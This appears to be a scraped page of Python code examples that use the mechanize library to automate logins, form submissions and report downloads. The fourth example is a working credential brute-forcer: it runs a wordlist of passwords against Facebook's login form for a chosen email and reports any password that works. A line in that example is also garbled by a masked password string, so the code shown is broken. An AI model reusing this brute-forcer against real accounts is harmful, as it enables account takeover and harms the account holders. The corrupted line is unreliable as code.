Пример #1
0
def uploadData(name, phone, last):
    # Browser
    br = mechanize.Browser()

    # Cookie Jar
    cj = cookielib.LWPCookieJar()
    br.set_cookiejar(cj)

    # user agent
    br.addheaders = [(
        'User-agent',
        'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0'
    )]
    # Browser Options
    br.set_handle_equiv(True)
    br.set_handle_gzip(True)
    br.set_handle_redirect(True)
    br.set_handle_referer(True)
    br.set_handle_robots(False)
    br.set_handle_redirect(mechanize.HTTPRedirectHandler)
    br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1)

    # Open website
    loginPage = br.open('http://192.168.100.1/admin/login.php')
    # show available forms
    # for form in br.forms():
    #   print "Form name:", form.name
    #   print form

    # enter data
    br.select_form(nr=0)  # only one form
    br.form['uname'] = 'rang'
    br.form['password'] = '******'

    responce = br.submit()
    responceText = responce.read()
    if "Beginner" in responceText:
        print "Login success!"
    else:
        print "Login failed!  Exiting"
        return 1

    if checkUserDuplicate(br, last, phone) == 1:
        print 'User already exists.'
        return 1

    adduser = br.open('http://192.168.100.1/admin/useraccess.php?opt=add')
    # for form in br.forms():
    #   print "Form name:", form.name
    #   print form

    # enter data
    br.select_form(nr=0)  # only one form
    br.form['sName'] = name
    br.form['sPhone'] = phone
    print br.form

    br.submit()  #uncomment this to enter into database
    return 0
Пример #2
0
 def __init__(self):
     self._br = mechanize.Browser()  # Browser
     self._br.set_handle_equiv(True)
     self._br.set_handle_redirect(True)
     self._br.set_handle_referer(True)
     self._br.set_handle_robots(False)
     self._br.set_handle_redirect(mechanize.HTTPRedirectHandler)
     self._br.set_handle_refresh(mechanize.HTTPRefreshProcessor(),
                                 max_time=1)
Пример #3
0
def setup(browser):
    cj = cookielib.LWPCookieJar()
    browser.set_cookiejar(cj)
    browser.set_handle_equiv(True)
    browser.set_handle_gzip(True)
    browser.set_handle_redirect(True)
    browser.set_handle_referer(True)
    browser.set_handle_robots(False)
    browser.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1)

    # nexus 5 user-agent
    browser.addheaders = [(
        'User-agent',
        'Mozilla/5.0 (Linux; Android 4.4.2; Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.59 Mobile Safari/537.36'
    )]
Пример #4
0
def run(email, wordlist, agent, timeout):
	now = time.strftime("%X")
	print (LEGAL_DISCLAIMER)
	print ("\n[*] starting at %s\n" % now)
	url = "https://www.facebook.com/login.php?login_attempt=1"
	regexp = re.compile(re.findall("/(.*)\?", url)[0])
	cj = mechanize.LWPCookieJar()
	br = mechanize.Browser()
	br.set_handle_robots(False)
	br.set_handle_equiv(True)
	br.set_handle_referer(True)
	br.set_handle_redirect(True)
	br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1)
	br.set_cookiejar(cj); cj.clear()
	br.addheaders = [('User-agent', agent)]
	br.open(url, timeout=timeout)
	form = br.forms()[0]
	fp = open(wordlist, "rb")
	wordlist = fp.readlines()
	print ("\033[01;34m")
	msg = "target: " + email; logger.info(msg)
	msg = "wordlist: %d password" % len(wordlist); logger.info(msg)
	print ("\033[0m")
	while len(wordlist) <> 0:
		password = wordlist.pop(0).strip()
		msg = "trying credential => {0}:{1}".format(email, password); logger.info(msg)
		form["email"] = email
		form["pass"] = password
		response = br.open(form.click(), timeout=timeout)
		_url = response.geturl()
		if not regexp.search(_url) or regexp.pattern not in _url:
			print ("\033[01;32m")
			msg = "valid credential: "; logger.info(msg)
			msg = "email|id: " + email; logger.debug(msg)
			msg = "password: "******"\033[0m")
			raise SystemExit

	msg = "password valid tidak ditemukan di wordlist anda: " + fp.name; logger.critical(msg)
Пример #5
0
import mechanize
import cookielib

# Browser Globals
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
cookieArray = []
globalLogging = False
br.set_cookiejar(cj)
br.set_handle_robots(False)
br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1)
br.set_handle_redirect(True)
br.set_handle_redirect(mechanize.HTTPRedirectHandler)
br.addheaders = [(
    'User-agent',
    'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31'
)]
Пример #6
0
def get_data(account_info, requested_report, start_date, end_date):

    # Browser
    br = mechanize.Browser()

    # Cookie Jar
    cj = http.cookiejar.LWPCookieJar()
    br.set_cookiejar(cj)

    # Browser options
    br.set_handle_equiv(True)
    br.set_handle_redirect(True)
    br.set_handle_referer(True)
    br.set_handle_robots(False)

    # Follows refresh 0 but not hangs on refresh > 0
    br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1)

    # User-Agent
    br.addheaders = [(
        'User-agent',
        'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1'
    )]

    r = br.open(sign_in_url)

    br.select_form(name='signinWidget')

    # Let's login

    ##################################
    br.form['username'] = ''
    br.form['password'] = ''
    ##################################
    br.submit()

    print("Logged in.")
    report_params = {
        "cols": "/c0/c1/c2/c3/c4/c5/c6/c7/c8/c9/c10/c11/c12",
        #  "sortColumn":"13",
        "fromDate": start_date,
        "toDate": end_date,
        "reportID": requested_report,
        # "sortIsAscending":"0",
        # "currentPage":"0",
        "dateUnit": "1"
    }

    req = br.click_link(text='Business Reports')
    print("Attempting to open form.")
    br.open(req)
    print("Link clicked")

    br.select_form(
        predicate=lambda f: f.attrs.get('id', None) == 'dwnldFormCSV')
    br.form.set_all_readonly(False)
    for k, v in report_params.items():
        br.form[k] = v
    print("Attempting to get data...")
    r = br.submit()
    import csv
    csv = csv.reader(r.read().splitlines())

    for row in csv:
        if row[0].startswith(codecs.BOM_UTF8):
            row[0] = row[0][3:]
        print(row)

    return list(csv)